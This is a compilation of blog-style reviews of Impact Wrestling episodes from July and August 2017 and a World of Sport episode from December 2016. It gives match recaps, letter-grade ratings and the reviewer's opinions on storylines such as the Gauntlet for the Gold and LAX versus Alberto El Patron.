Impact Wrestling – August 24, 2017: Say His Name

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Date: August 24, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s a huge night in Orlando as we’re guaranteed a new World Champion. After Alberto El Patron was stripped of the title, a Gauntlet for the Gold was announced. It’s basically a Royal Rumble but the final two participants will have a singles match instead of being thrown over the top for the title. Let’s get to it.

We open with a recap of last week’s show with a focus on the American Top Team fighter attacking Brian Hebner.

Earlier today Jarrett talked to the leader of the MMA guys but Lashley got the boss away. It seemed to be more calm this time. I apologize if I don’t recognize a few of the MMA names but I’m a casual fan of the sport at best.

Jim Cornette addresses part of the roster and says no one is getting an easy paycheck or getting away without fighting. After fining Lashley for being late, he gives everyone a pep talk before the Gauntlet for the Gold.

Opening sequence.

OVE vs. Heatseekers

OVE sends them outside for a suicide dive/moonsault combination. Well they’re already off to a better start than last week. Back in and a double snap spinebuster takes down we’ll say Heatseeker #1. A Death Valley Driver plants #2 as this is rather fast paced. #1 gets sent into the corner and a twisting DDT sends him onto the apron. The superkick/running kick to the knee combination puts away #2 at 3:03.

Rating: C+. Now THAT was how they should have debuted. The team looked great here as they cared up the jobbers with all of their cool moves which is exactly what they should have been doing last week. The tag division is dying for some new talent at this point and OVE seems like a great addition so far.

Cornette is on the phone and says the fine with Lashley was $5000 and if it makes TMZ he’s fired. Eli Drake and Chris Adonis come in so Drake can apologize for getting off on the wrong foot with the boss last week. Drake wants a different number so Cornette makes him a deal: if he leaves Jim alone, Drake can have another number. It’s a deal so Cornette makes him #2. Eli: “IT’S THE SAME THING!”

Oh don’t let WWE hear you say that buddy. They’ll let you know how much more amazing it was for Shawn Michaels to enter in 1995 at #1 and survive a forty minute match than it was for Rey Mysterio to enter in 2006 at #2 and set the longevity record (seriously happened on a list of impressive Rumble feats they released).

We look back at Taryn Terrell returning to take out Gail Kim and cost her the Knockouts Title match last week.

Here’s Terrell in the ring for a chat. Taryn says she and Gail used to be friends with Taryn even going through some issues to be at Gail’s Hall of Fame announcement. Has Gail ever called her or thanked her? Of course not. SHE DOESN’T EVEN FOLLOW TARYN ON TWITTER! Taryn rants about Gail following her husband around the country before she cheats on him and leaves, like she’s doing to this division. She’s tired of this being the Gail Show (preach it) but here’s Gail for the fight with JB breaking it up. Taryn bails while she has the chance.

Video on the recent house show tour. The crowds might have been small but it’s a good idea to get them back on the road, if nothing else to help spread the word about the company.

Some people say they’ll win the title tonight.

Lashley and the American Top Team guys come in to see Cornette, who yells at them for what they did last week. Lashley needs to make a choice about what he wants to do and stop listening to bad advice.

Taya Valkyrie is coming.

We recap Grado’s attempts to stay in the country by marrying Laurel Van Ness.

Here are Grado and Joseph Park for Grado’s farewell to America. Park says he’s going to miss him and Grado goes into a list of American food he’s going to miss. He says goodbye but stops for a THANK YOU GRADO chant. Cue Laurel Van Ness looking completely normal in a rather revealing dress. She calls Grado the peanut butter to her jelly and the barbecue sauce to her ribs. She proposes to Grado and he says yes, only to faint when she kisses him. This brings out Kongo Kong but Mahabali Shera cuts him off and Kong bails.

Cornette is in his office with Eddie Edwards and praises him for wrestling through an injury the night Cornette met him. Jim thinks Anthem would be proud to have Eddie as champion.

LAX talks about beer and tells Low Ki to win the title tonight.

GFW World Title: Gauntlet for the Gold

They have almost an hour for this. There are twenty entrants with a two minute interval for the first two and then ninety seconds between all following entrants. It’s over the top rope eliminations until there are two left and then it’s a regular match for the title. Eddie Edwards is in at #1 and Eli Drake is in at #2. They stall to start (makes sense in something like this) until Eddie slaps him in the face. Drake tries to low bridge him but gets chopped for his efforts as Mario Bokara is in at #3.

A German suplex drops Edwards and it’s a double stomp to put him in trouble. Naturally Drake turns on Mario but Eddie gets back up as it’s Kingston in at #4. Nothing of note happens until it’s Braxton Sutter in at #5. Things slow down again as they tend to do in these things until it’s Richard Justice (the standby wrestler) in at #6. Justice does his exercises both outside and inside the ring until Ethan Carter III is in at #7. Carter talks to Justice before kicking him low and tossing him for the first elimination.

Back from a break with time having stood still as Kongo Kong is in at #8. Kong throws out Bokara and Kingston to clear the ring a bit, only to have everyone else jump him to little avail. Suicide is in at #9 for the trust fall onto everyone with only Kong left standing. Drake bails to the floor without being eliminated and it’s Mahabali Shera in at #10 giving us Shera, Drake, Edwards, Carter, Suicide, Kong and Sutter. Shera low bridges Kong to the floor and it’s Chris Adonis in at #11 to team up with Drake. They get rid of Shera as Suicide and Sutter chop away at Carter. El Hijo Del Fantasma is in at #12 and we take another break.

Back again with Johnny Impact making his debut at #13 and getting rid of Adonis and Suicide without too much effort. Garza Jr. is in at #14 with a missile dropkick to Impact. Sutter breaks up his stripping routine and gets eliminated for his efforts. Fallah Bahh is in at #15 to give us Bahh, Edwards, Drake, Carter, Fantasma, Impact and Garza. Fat man offense ensues and it’s KM at #16.

Drake and Carter fight to the apron as Taiji Ishimori is in at #17. Lashley is in at #18 and it should be time to clear the ring a bit. KM is the first victim, followed by Bahh with no effort. Ishimori actually takes Lashley down with a springboard seated senton, only to slip on another springboard and get eliminated as well. Moose is in at #19 to beat some people up but he’s nice enough to let Garza strip. A powerbomb eliminates Garza, though luckily for him KM was still on the floor to catch him. Back from a break with Low Ki in at #20 to give us a final grouping of Edwards, Drake, Carter, Fantasma, Impact, Lashley, Moose and Low Ki.

Impact tries to catapult Low Ki out but gets caught in a double stomp instead. Fantasma cross bodies Carter and hits a jumping superkick, only to get TK3’d over the top. A pair of kicks to the head gets rid of Carter and we’re down to six. Moose dumps Low Ki and we take our final break. Back again with Lashley spearing Moose but getting caught with the Flying Chuck. Drake plants Impact, followed by Lashley missing a charge to eliminate himself. Edwards hurricanranas Moose out and we’re down to Drake, Edwards and Impact.

Drake gets knocked to the apron and kneed in the head but he hangs on by his feet and pulls himself back in. Impact loads up the Flying Chuck but gets dropped onto the apron. Drake dives through the ropes to the floor (not eliminated) and pulls Impact outside for the elimination. We’re down to Drake vs. Edwards for the title and it’s Eddie hitting the Shot of Caffeine to start fast. A Blue Thunder Bomb gets two on Drake but he rolls through a high crossbody. Drake muscles him up into the Eli Drop (White Noise) for the pin and the title at 55:48. As usual, the announcers act like they’re ordering dinner because they can’t show emotion.

Rating: C-. Mostly dull match here but that’s almost always the case with most of these things. You’re only going to get so much out of a Royal Rumble with the better part of an hour and this could have been worse. Drake winning is a major plus for me as I’ve been a big fan of his for several months now. If nothing else I was expecting them to just give the title to Impact but it’s nice that they might make us wait a few months first. Watchable match, but nothing that hasn’t been done better elsewhere.

The celebration is on but hang on because American Top Team is beating up someone at ringside. Dan Lambert (the Top Team leader) shoves Scott D’Amore down as the team is lead off. Oh yeah and Drake is World Champion to end the show.

Overall Rating: C. Annoying focus on the MMA stuff aside, this was a completely fine show that accomplished its major goal. I’m very glad that the title match got so much time as it feels more important than just throwing them out there for fifteen or so minutes. Now that they’ve done something here though, they need to follow up on it, which has long since been a major issue around here. At least there’s an entertaining champion though and that’s a very good start.

Results

OVE b. Heatseekers – Superkick/Running kick to the knee combination to #2

Eli Drake won Gauntlet for the Gold – Eli Drop to Eddie Edwards

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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Impact Wrestling – July 27, 2017: The Jeff Jarrett Special

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Date: July 27, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The battle between LAX and Alberto El Patron continues as the group wants El Patron to join him but he’d rather not, leading to a series of fights. As usual though, the problem is finding a member of the team to fight him as there’s no one anywhere near Alberto’s level on the team. Therefore, they’ll likely need to add someone new to their ranks. Let’s get to it.

Joseph Park and Grado arrived earlier and it’s time to propose to Laurel Van Ness so Grado can stay in the country. Park has special gear for him to wear when he pops the question.

Long recap of LAX vs. Alberto and his family, including various kidnappings of Alberto’s brother and father.

Opening sequence.

The Mayor of Orlando is guest ring announcer for the night.

Eli Drake/Chris Adonis/Ethan Carter III vs. Eddie Edwards/Naomichi Marufuchi/Moose

Eddie and Eli start things off with Drake trying to silence the crowd. Edwards grabs him by the arm and hands it off to Marufuchi for some more of the same. Drake comes in and gets chopped for his efforts, followed by Adonis coming in to complete the trio. Marufuchi works on Adonis as well, including a double chop with help from Edwards (WE GET IT ALREADY).

The heels are sent outside but Adonis breaks up the Shot of Caffeine and we take a break. Back with Edwards still in trouble and Adonis coming in to kick him in the ribs. The beating continues so the announcers talk about Alberto facing LAX in a gauntlet match tonight. Adonis grabs a chinlock for a good while and Carter comes in to give up the hot tag to Moose.

Some running splashes in the corner have Carter in trouble until Drake and Adonis cut him off with some clubberin in the opposite corner. Marufuchi comes in and fires off kicks to the head, leaving Drake to eat a Pop Up Powerbomb from Moose. Carter sneaks in from behind though and kicks Moose low, setting up a lifting sitout Pedigree for the pin at 16:07.

Rating: C-. Just a boring six man here though at least the ending sets up Moose vs. Carter a bit more. Marufuchi is still just kind of there with little more explanation other than “he’s from Japan and he’s awesome”. Well yeah, but I’m not getting much proof of that when all he’s doing is coming in for about thirty seconds, chopping and kicking, and then getting back out. Moose vs. Carter should be fine especially if it gets Carter the title but there wasn’t much to see here.

A rather large guy named Richard Justice is warming up in case he’s needed. He’s the standby wrestler you see, which McKenzie Miller calls the stupidest thing she’s ever heard.

A brother tag team is coming. That would be the Crist Brothers.

Here’s Lashley to call out Bruce Prichard. In short, he wants a title shot and is tired of being told he has to earn them when people like Alberto come in here and get one on day one. He’d like Bruce to come out here and announce that he’s getting his title shot at Destination X. Cue Bruce with Tyrus to say….not much as Matt Sydal walks past him and gets inside. He pushes Lashley and says he won’t be ignored but Lashley shoves him down. That earns Lashley a knee to the face and a quick shooting star press.

See, this is what they’ve needed to do with the X Division for a long time. There’s no need to throw them into a nothing division off to the side and then use them as cannon fodder. Having them mix with the heavyweights and showing that they can hang makes the division look a lot better, which is whats been missing from this place for years. If they go somewhere with that, well done. Otherwise, it’s a nice thought but nothing more.

Davey Richards and Taiji Ishimori are ready for their Super X Cup match.

Super X Cup First Round: Davey Richards vs. Taiji Ishimori

They fight over a lockup to start with Davey patting him on the chest before trading wristlocks. Ishimori dropkicks him to the floor and teases a 619. Back in and Davey fires off the kicks, followed by a figure four neck lock to send Ishimori over to the ropes. The Indian deathlock goes on but Ishimori makes the rope again. Ishimori hits the running knees in the corner, followed by a Vader Bomb double stomp for two.

They hit the mat for a battle of rollups until Davey rolls him into an ankle lock. That goes nowhere either but Davey catches him in the hold again. Davey plants him down and goes up top, cancels the howl, but misses the double stomp. Ishimori grabs a tombstone but throws Davey up for a pair of knees to the chest instead. A 450 puts Davey away at 8:26.

Rating: C+. Much like Marufuchi, all I know about about Ishimori is whatever we’re told about him during his entrances. Now this match helped a lot more than Marufuchi as we got to see Ishimori work a match that didn’t have the stupid round system or five other people. It helped, though I still need to see a lot more of them and have a reason to care about them for this to really be worth much.

Here are the semifinals:

Dezmond Xavier

Drago

ACH

Ishimori

Prichard makes Lashley vs. Sydal for Destination X with the winner getting whatever title match they want.

Knockouts Title: Rosemary vs. Sienna

Rosemary is challenging and this is Last Knockout Standing. Sienna, with KM in her corner, gets jumped to start and Rosemary unloads on her to take over. A table is brought in quickly but Sienna drops Rosemary and takes a stroll on the floor. Another table is set up on the outside, followed by the champ throwing in a pair of chairs. We get the required duel with both of them being knocked out of the respective hands.

They fight into the crowd with Sienna’s face being raked over the barricade. Rosemary grabs a headscissors and bends backwards over the barricade into kind of a reverse Tarantula. Sienna taps to no effect and we take a break. Back with Rosemary still in control but having to block what looked to be a powerbomb off the apron. The block doesn’t last though and it’s an AK47 off the apron and down to the floor (basically a release powerbomb in this case) for an eight count.

Back in and the Silencer is blocked by the swing of a chair to put Sienna down for nine. A Red Wedding onto the chair knocks Sienna down but Rosemary can’t follow up. Sienna is up at nine but down at ten so Rosemary puts her in front of the chair in the corner. Rosemary puts a trashcan in front of her for a Van Terminator, only to have KM offer a distraction. That means mist to the face but Sienna shoves her off the top and through the table on the floor to retain at 15:39.

Rating: B-. Good brawl, though nothing we haven’t seen before. Rosemary is rather skilled and Sienna is rather…..well she’s rather boring actually but she’s competent in the ring. KM on the other hand is one of the least interesting guys I’ve seen in a long time and having him around doesn’t add anything to any match he’s involved with. It’s a good match but, save for the reverse Tarantula, this wasn’t anything of note.

We look at the end of the six man.

Carter dubs the sitout Pedigree as the ECD: Ethan Carter’s Driver. Moose vs. Carter for the title next week.

Alberto says LAX is lead by a crazy man.

Here’s Trevor Lee to say he’s a fighting champion, meaning he’s got another handpicked challenger. He’s the king of Mexico….and it’s Octagoncito.

Trevor Lee vs. Octagoncito

Lee wrestles with the stolen title on and runs Octagoncito over to start. He misses a charge into the corner though and gets headscissored down, followed by a very long spinning version to put Trevor on the floor. That’s enough for Lee as he takes the countout at 1:40.

Sonjay Dutt runs in after the match but gets stopped by security. Cue Bruce for another unnecessary cameo to send him to the back.

LAX is ready to destroy Alberto once and for all.

Here are Park and Grado, the latter of whom is in a rather form fitting orange suit, to propose to Laurel. Sienna has to force Laurel down the aisle before leaving. Grado calls Laurel knockout gorgeous and proposes but here are a very excited Allie and a less excited Braxton Sutter to pull her to the back. Before there’s an answer though, Kongo Kong interrupts with a shaking head. Grado bails and Kong picks Laurel up but she tells him to put her down. She never actually said no.

LAX vs. Alberto El Patron

Gauntlet match and non-title. Alberto comes through the crowd and it’s going to be Homicide starting for the team. A top rope splash ends Homicide in nineteen seconds and it’s Ortiz coming in second. We’re off to an early break and it’s back to Ortiz in trouble as well but LAX crotches Alberto on top. Not that it matters as Alberto shoves him Ortiz down and hits the double stomp for the pin at 6:30 total.

Santana is in last and hits a running boot in the corner for two. Alberto gets tripped from the floor but avoids a top rope double stomp. A tilt-a-whirl backbreaker drops Santana again but Alberto has to go after the other members. Diamante’s high crossbody is caught and Alberto throws her out onto Homicide. Alberto grabs the cross armbreaker but Ortiz comes in for the DQ at 8:53 total.

Rating: D. So to recap, Alberto just cleaned out all of the wrestling members of LAX in less than nine minutes while also dealing with Diamante and Konnan. And these guys are the top heels in the promotion at the moment and we’re supposed to buy one of them, in theory at least, as a threat to the title? Really? Horrible idea here and a bad way to close the show.

Post match the beatdown is on with Alberto’s brother taking a beating as well. The Veterans of War run in and help Alberto clean house to end the show. In other words, Alberto, who just fended off five people at once on his own, now has his father, his brother, and two big power guys backing him up?

Overall Rating: D+. That main event storyline is just killing everything else on the rest of the show. Everyone in LAX is coming off like a jobber (the Tag Team Champions remember) and that story is dominating the show. There’s some good stuff on here and that’s keeping the show going but they are DYING for a top heel to oppose Alberto (who is far from a great character in the first place). In other words, a Jeff Jarrett run company still doesn’t seem capable of writing TV that is anything more than just average at best.

Results

Eli Drake/Ethan Carter III/Chris Adonis b. Moose/Naomichi Marufuchi/Eddie Edwards – Lifting sitout Pedigree to Moose

Taiji Ishimori b. Davey Richards – 450

Sienna b. Rosemary when Rosemary couldn’t answer the ten count

Octagoncito b. Trevor Lee via countout

Alberto El Patron b. LAX via DQ when Ortiz interfered

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


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Impact Wrestling – July 20, 2017: One Big Idea

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Date: July 20, 2017
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews, Jeremy Borash

So it seems we’re still on Alberto El Patron vs. Bobby Lashley after Lashley abandoned El Patron to the hands of LAX last week. This feud has been going on for months now and it’s apparently continuing as there’s no one else to put into the main event scene. Some new names need to be added to the title picture too as it’s getting rather tiresome. Let’s get to it.

We open with a long recap of LAX recruiting Alberto El Patron, including last week’s tag match with Alberto and Lashley picking up the win, only to have Lashley abandon Alberto after the match.

Video on Sammy Guevara, who is young and rather braggadocios. He’s here because he’s one of the best in the world and is ready to win this tournament and move on to the X-Division Title.

Video on Drago, who talks about being from another world and is ready to win as well.

Super X Cup First Round: Drago vs. Sammy Guevara

They speed things up to start and neither can hit anything early on. Drago offers a handshake on the standoff but gets slapped in the face instead. Sammy casually backflips over a clothesline and sends Drago outside for a shooting star from the top. Back in and a reverse hurricanrana gives Drago two, followed by the Dragon’s Tail (very twisting rollup) for the same. That’s fine with Sammy who comes back with a 630 for his own near fall. Drago is back up as well and hits a rather sloppy running Blockbuster DDT for the pin at 4:23.

Rating: C+. Fun match, complete lack of selling aside. This was straight out of the “you do a spot and I do a spot” playbook, which is only going to get you so far. Guevara was a fun heel who plays the bravado quite well. Drago is 41 years old and looks about half that age but it makes sense to push him on given his status with Ring of Honor.

Some GFW wrestlers went to a children’s camp for charity. Nothing wrong with that.

Sienna vs. Amber Nova

Non-title. Nova goes at her to start but gets sent into the corner, followed by a wheelbarrow suplex. A delayed vertical suplex is broken up but the AK47 puts Nova away at 1:26. Total squash.

Post match Sienna mocks Rosemary for being a loser and calls out Karen Jarrett. Sienna wants her to get on her knees and calls Sienna the greatest Knockout of all time. Karen doesn’t think so but Sienna says she just told her to. Allie makes the save with a kendo stick but Laurel Van Ness comes in and beats Allie down. Rosemary comes out for the real save. That goes badly as well but Karen pulls Sienna off. Cue Gail Kim to clean house because that’s what Kim does. Karen makes a Last Knockout Standing match between Rosemary and Sienna for the title next week.

Earlier this week, LAX kidnapped Alberto’s brother to get Alberto to join LAX.

Video on Hijo de Fantasma.

Bruce Prichard (Did the whole “Where’s Bruce” thing from Slammiversary ever go anywhere?) is in the back and runs into Trevor Lee. Bruce wants to know what’s up with the X-Division Title when Sonjay Dutt comes in and tries to get the title back. Security takes him away, which Lee says proves he’s the better champion. Bruce seems to agree.

Idris Abraham/Demus/Trevor Lee vs. Laredo Kid/Garza Jr./Octagoncito

Lucha rules. Idris and Garza don’t do anything to start so it’s off to the minis for a headscissors to send Demus outside. Garza dives on the other villains and we take a break. Back with Lee, who is wearing the X-Division Title, working on Octagoncito until a headscissors puts him down.

The hot tag brings in Garza Jr. and we remove the pants. They hit the floor for the dives, including Laredo Kid getting caught in the ropes and nearly landing on the apron. We hit the Row the Boat spot (it didn’t work in WCW and it’s not working here), followed by Laredo hitting a big flip dive to the floor. Back in and Octagoncito gets on Garza’s shoulders while Garza is on the middle rope for a huge splash onto Abraham for the pin at 10:24.

Rating: C. Botches aside, this was a fun match but the problem here is the time. A lot of the roster barely has time to get on the roster week to week but this is getting more than twice the time that the Super X Cup, which is actually for something, received. Both matches were fun but shouldn’t those times be reversed?

It’s time for Grado to go on a date with Laurel Van Ness He ate the chocolates and drank the champagne but he’s got coupons! The date is backstage and they’re in their gear with Grado tucking his napkin into his singlet. Laurel’s eating scares Grado’s appetite away.

LAX has kidnapped Alberto’s father to try to get Alberto to join as well.

Hijo de Fantasma vs. Matt Sydal vs. Low Ki

One fall to a finish. Sydal takes over to start until Fantasma spinwheel kicks him down. Ki sends Sydal outside but winds up limping a bit to slow him back down. Fantasma kicks Ki in the face to knock him off the top rope and out to the floor as we take a break. Back with Sydal hitting a standing moonsault on Ki but getting caught in a surfboard from Fantasma.

Ki breaks it up with the Warrior’s Way but the knee is too banged up to cover. Instead Sydal just falls onto Fantasma for two. The Ki Krusher is broken up so Sydal is sent into the corner again. The regular Warrior’s Way hits Fantasma but Sydal breaks it up with the shooting star press for the pin on Fantasma at 13:57.

Rating: C. Now they’re going overboard with the X-Division stuff. This is the third match out of four that has been built around the division and they’re starting to run together. Sydal is starting to go somewhere and it’s nice to see them pushing someone fresh in the division, but there’s so much other stuff going on that it’s starting to get lost in the shuffle.

Post match Sydal calls out Prichard and asks for a title shot. Cue Lashley of all people but Sydal says no one wants to hear it because this is his time to ask for a title shot. Lashley spears him down and says that’s only a start.

Back to the date with Laurel getting a bit too close to Grado, who keeps reminding himself about the citizenship.

Eddie Edwards vs. Ethan Carter III vs. Moose vs. Eli Drake

Before the match, the Swoll Mates chase off Chris Adonis. It’s a brawl to start with Eddie hitting a suicide dive onto Drake, who is then taken down again by Moose’s spinning high crossbody. Drake is right back up to send Moose outside and it’s time to double team Eddie. As you might expect, Drake and Carter get in an argument so Moose comes back in to throw them outside.

That’s not enough throwing as he tosses Edwards onto them as well. Eddie hurricanranas Carter back inside but has to deal with Drake, allowing Ethan to send him into the post. There’s the 1%er to Edwards but Moose pulls Carter outside, allowing Drake to steal the pin at 6:23.

Rating: C-. Another match with little structure that seemed to exist for the sake of fitting in as many people onto the card as they could. The match didn’t have much of a flow to it until the ending, though Eli and Ethan shouting their names at each other was a nice moment. I could go for some story tonight though and this match didn’t give me that.

LAX cuts off the Swoll Mates and asks Alberto’s family if he’s joining the team. Apparently not but Konnan holds the troops back…..and then lets them beat the two of them down.

Post break here’s LAX with Dos Caras as Dos Caras Jr. in the ring. The beat down is on until Konnan threatens Sr.’s mask. This brings Alberto to the stage before he slowly gets inside. He gets in “Carlos’” face and says this is too far for the sake of Mexican pride. Alberto says they’re brothers but if LAX wants him, let his family go. The family is sent outside and Alberto agrees to join the team to keep them save. He puts on the shirt but then beats down LAX to end the show.

Overall Rating: C. If you don’t like the LAX vs. Alberto story, RUN AWAY from this show. Nearly no other story got as much as five minutes on this show and it got a bit tiring watching all these multi-person matches, many of which felt like they barely advanced anything. The wrestling itself helped a lot but there was WAY too much LAX here and it dragged the show down a lot.

Results

Drago b. Sammy Guevara – Blockbuster DDT

Sienna b. Amber Nova – AK47

Garza Jr./Laredo Kid/Octagoncito b. Demus/Idris Abraham/Trevor Lee – Splash to Abraham

Matt Sydal b. Hijo de Fantasma and Low Ki – Shooting star press to Fantasma

Eli Drake b. Ethan Carter III, Eddie Edwards and Moose – 1%er to Edwards

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Impact Wrestling – July 13, 2017: Did He Or Didn’t He?

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Date: July 13, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The big story this week is whether or not Alberto El Patron has joined LAX. Last week Konnan claimed he had but Alberto was out and couldn’t confirm the announcement. Other than that we’re slowly starting the build towards Bound For Glory, though it’s still a long way off. Let’s get to it.

Grado and Joseph Park arrive in the tiny Park Park and Park car (Park: “Three more payments and its mine!”). Joseph has a plan to keep Grado in this country: he needs to get married. And to one of the Knockouts!

Recap of last week’s ending with LAX attacking Lashley and claiming that Alberto is the newest member.

Opening sequence.

Here’s LAX with Konnan (And his “we’re serious like a late period.” GET A NEW LINE ALREADY!) saying that Alberto is the newest member. Cue Alberto to ask what’s going on because he’s not joining LAX. Konnan talks about what happens to Mexican wrestlers in this country, including what happened to Alberto in Stamford. Alberto rants about how he remembers every day but he’s not joining LAX to fight back. It’s a flat out no on joining the team so Konnan sends the troops after him. Lashley comes out for the save.

The Mayor of Orlando declared last Wednesday Impact Wrestling Day in Orlando. They also honored the victims of the Pulse nightclub shootings. Those are nice touches.

ACH is ready to win the Super X Cup.

Andrew Everett is ready to win the Super X Cup.

Super X Cup First Round: ACH vs. Andrew Everett

Everett nips up to start as the announcers talk about how big it is to have Alberto and Lashley teaming up tonight. They trade kicks and standing switches until Everett kicks ACH in the head for two. A springboard dropkick puts ACH on the floor and a top rope Asai moonsault makes things even worse. ACH gets tired of getting kicked and comes back with kicks and a dive of his own, followed by a German suplex. A running clothesline drops Everett but he pops up with an enziguri. Not that it matters as ACH comes right back with a brainbuster to advance at 6:22.

Rating: C+. I like the idea of the X-Division getting a focus and the tournament isn’t the worst idea in the world but they need to have the big blow away match in there somewhere. That’s not likely to happen in six minutes, though this is just the first round. It was entertaining enough though and that’s all you can ask for out of this division.

Here’s Gail Kim with a big announcement. In something that isn’t the biggest surprise in the world, she announces her retirement at the end of the year. She plans on going out on top though and that means she’ll be back in the ring later in the year. I’m fine with Gail wrestling again but I could go without hearing about how she’s the greatest thing in the history of the world.

As Gail is leaving, Chris Adonis comes out to yell at the Swoll Mates (who are here to promote a TV show and not wrestling) and challenge them to a pose down. The Mates are far bigger than he is so Eli Drake comes out to prevent anything from going wrong.

Demus vs. Octagoncito

Yes it’s a freaking minis match because there’s NOTHING ELSE that could be used in this spot. In this case, minis means people about Rey Mysterio’s size as they’re both taller than the top rope. Octagoncito sends him outside for a spring corkscrew dive. Anther dive drops Demus back inside but he comes right back with a slam for two of his own. Something like the West Coast Pop gives Octagoncito two and a very spinning headscissors puts Demus away at 3:57.

Rating: D+. Yeah whatever. This kind of stuff has never gotten over in America and this isn’t going to be any different. The dives looked cool but as soon as you hear “minis”, the expectations go down. I get the idea of presenting a bunch of stuff from around the world but this isn’t the kind of thing that’s going to draw an audience.

Grado hits on various Knockouts to exactly the avail you would expect. Park says we have one more chance and brings out champagne and chocolates to make things easier.

Grand Championship: Moose vs. Naomichi Marufuji

Moose is defending and Ethan Carter III is on commentary. Moose misses the Game Changer but ducks a kick to the head for a standoff. They trade big swings until Moose drops him with a hard clothesline. Marufuji gets caught in the corner as the announcers can’t get Storm to say a word.

Moose wins round one and blasts Marufuji with a clothesline at the opening bell. Back up and Marufuji finally gets in some offense, including some chops in the corner. A dropkick knocks Marufuji off the top though and round two ends with Marufuji down on the floor. Marufuji wins round two and round three begins after a break. Moose misses a clothesline and gets kneed in the face a few times. Carter, who hasn’t said a word yet, gets off commentary but comes in with the bell to knock out Marufuji with the bell for the DQ (I thought these were No DQ.) at 14:08.

Rating: C-. Marufuji wasn’t all that impressive but this round system is really getting old. I mean, it was in the first place but now it’s getting even worse. Carter going after the title makes sense but hopefully it just turns into the TV Title or whatever they want it to be at this point. Just drop the rounds though, please.

LAX wants revenge tonight.

William Weeks vs. Trevor Lee

Lee still has the X-Division Title and insists on wearing it while he wrestles out of fear of theft. With Weeks being beaten down, Sonjay Dutt is being held back by security. A double stomp ends Weeks at 1:24.

Dutt chases Lee off but can’t get the title back.

Ava Storie vs. Laurel Van Ness

Storie hammers away but gets suplexed down for two. Choking looks to set up the curb stomp but Ava slips away and grabs a neckbreaker. The curb stomp puts Ava away at 3:22.

Rating: D. Ava seems to have some potential but I’m not entirely sure on Laurel. They’ve pretty much stopped with her story and now she’s just a woman in a dress who wrestles about the same as she would no matter what attire she was wearing. The result was fine but it was nothing worth seeing.

Post match Grado heads to the ring and asks Laurel out. He praises everything about her and she doesn’t say no but Kongo Kong heads out to chase Grado off.

Alberto El Patron/Bobby Lashley vs. LAX

Non-title. Lashley suplexes and backbreakers Ortiz for two to start before handing it off to Alberto for right hands in the corner. Santana cheats from the apron though and a double suplex is good for two on Alberto. Back with Alberto hitting a reverse superplex on Santana, allowing the hot tag off to Lashley.

Diamante breaks up the spear though and Santana gets in a cheap shot to keep control. LAX works Lashley over with the double teaming until he flips out of a double belly to back and crossbodies both of them down at the same time. Alberto comes in with a Backstabber to Ortiz and the top rope double stomp finishes Santana at 13:27.

Rating: C. Fine for a main event tag match but not much more than that. I’m almost never a fan of the champs losing to a thrown together team (or almost anyone for that matter) in a non-title match and this wasn’t much better. Alberto and Lashley don’t seem to be a long term team and LAX doesn’t need to be losing like this.

Post match Alberto says he and Lashley were an awesome team but LAX jumps him from behind. Lashley smiles and walks away to end the show.

Overall Rating: C-. Not a terrible show by any means but nothing I’m going to remember in about five minutes. They seem to have more of a theme and idea going here though and that’s more than you could say about a lot of what this company did for months on end. Tighten things up a bit and this show could go somewhere.

Results

ACH b. Andrew Everett – Brainbuster

Octagoncito b. Demus – Spinning headscissors

Naomichi Marufuji b. Moose via DQ when Ethan Carter III interfered

Trevor Lee b. William Weeks – Double stomp

Laurel Van Ness b. Ava Storie – Curb stomp

Alberto El Patron/Lashley b. LAX – Top rope double stomp to Santana

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World of Sport – December 31, 2016: I Need to See HHH’s Face After he Watches This

World of Sport Wrestling
Date: December 31, 2016
Location: MediaCity Studios, Manchester, England
Commentators: Jim Ross, Alex Shane

This was taped back in November so things could have already changed.

The arena looks good. Small, but good.

World of Sport Title: Dave Mastiff vs. Grado

Interviewer Rachel talks to General Manager Mr. Beasley, who is really happy to be here. Grado comes in to complain but Mastiff and company crash the interview to celebrate.

Kenny Williams vs. Sam Bailey vs. CJ Banks vs. Delicious Danny

More legends stuff.

Alexis Rose vs. Viper

Rose is a pretty standard looking female wrestler while Viper is build more like Nia Jax. Viper shoves her around to start but Rose does some nice spinning around to avoid a charge and gets in a bicycle kick. The bigger lady runs her over and grabs a cravate, followed by a seated crossbody for two. Alexis comes back with a few kicks and a high crossbody for two as we start looking at the crowd. A middle rope moonsault misses though and Viper hits a running backsplash for the pin at 4:37.

Mastiff is annoyed at being accused of cheating.

Video on how big World of Sport used to be.

Ashton Smith/Rampage vs. Coffey Brothers

The slow beatdown continues with Rampage holding a chinlock. Ashton comes back in for some trash talk but walks into a leg lariat, allowing the hot tag to Joe. Everything breaks down and Smith grabs a spinebuster on Joe with Mark diving in for a save. Smith superkicks his partner by mistake and Joe hits a discus lariat for the pin at 9:05.

El Ligero vs. Zack Gibson

Ligero fights up and sends him outside for the required flip dive to take over again. Back in and Ligero hits a wheelbarrow faceplant for two but makes the mistake of trying again, resulting in a seated armbar. Not that it matters as Ligero makes the rope and hits a springboard tornado DDT for the pin at 8:30.

Rating: C+. Match of the night here as you had a good combination of styles here to keep both guys looking good. Gibson is much more in line with the traditional British wrestling style and Ligero is your pretty standard luchador. That made for an interesting match and the best psychology (read as almost the only psychology) of the night.

Rachel talks to the battle royal entrants, all of whom say what you would expect.

Battle Royal

Mark Coffey, Joe Coffey, El Ligero, Grado, Sha Samuels, Johnny Moss, Kenny Williams, ???

Rating: D. So they go through the trouble of bringing Smith in and then have him be eliminated in all of two minutes after a few suplexes. The rest of the battle royal was a waste of time though as it was just a matter of time until we could get to the finish with Grado winning. It was only going to be him or the mystery man, making this a pretty solid waste of time for the most part.

Smith comes in for the post match save. Medics check on Grado as we go to our last break.

